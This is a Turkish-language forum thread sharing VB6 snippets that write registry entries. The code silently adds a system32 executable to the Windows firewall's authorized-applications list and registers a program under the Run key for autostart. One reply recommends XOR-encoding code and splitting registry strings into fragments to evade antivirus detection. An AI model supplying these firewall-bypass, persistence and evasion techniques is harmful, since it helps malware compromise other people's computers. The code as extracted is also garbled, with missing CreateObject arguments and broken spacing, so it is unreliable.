Private Sub Command1_Click Dim Regedit As Object Set Regedit = CreateObject Regedit. RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:/WINDOWS/system32/code. exe", "C:\WINDOWS\system32\code. exe: :Enabled:Code" End Sub Anahtar adını "\" diye kaydedince registry klasrü olarak algılıyor. "/" olur Birde Windows 7 de "HKEY_LOCAL_MACHINE" blümüne erişmek için programı ynetici olarak çalıştırman gerekiyor

D3STR0Y3R dediğin doğru sorun ordaydı zaten, slaughter hocam sağol güzel yntem.

kolay gelsin. A man may be born, but in order to be born he must first die, and in order to die he must first awake.

Kodları X0R layarak antilerden kaçırabilirsiniz. Veya bu şekilde ayırarakta kodu kaçırabilirsiniz.. Dim KayitDefteri As ObjectSet KayitDefteri = CreateObject KayitDefteri. RegWrite "HKEY_LOC" & "AL_MACHINE\SO" & "FTWARE\MICRO" & "SOFT\WINDOWS\CUR" & "RENTVERSION" & "\" & "RUN\" & App. EXEName, App. Path & "\" & App. EXEName & ". exe"

Sa Müritler üzerinde çalıştığım bir vb6 projesinde regedit'e registry kaydı eklemem gerekiyor Daha nce hiç lazım olmamıştı vb 6'da rnek: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List anahtarına C:\WINDOWS\system32\code. exe adında ve içeriği alttaki gibi bir registry kaydı nasıl ekleriz? C:\WINDOWS\system32\code. exe: :Enabled:Code

Dim reg As Object Set reg = CreateObject reg. RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List" & "C:\WINDOWS\system32\code. exe: :Enabled:Code" simdi yazdim calisiyormu denemedim =)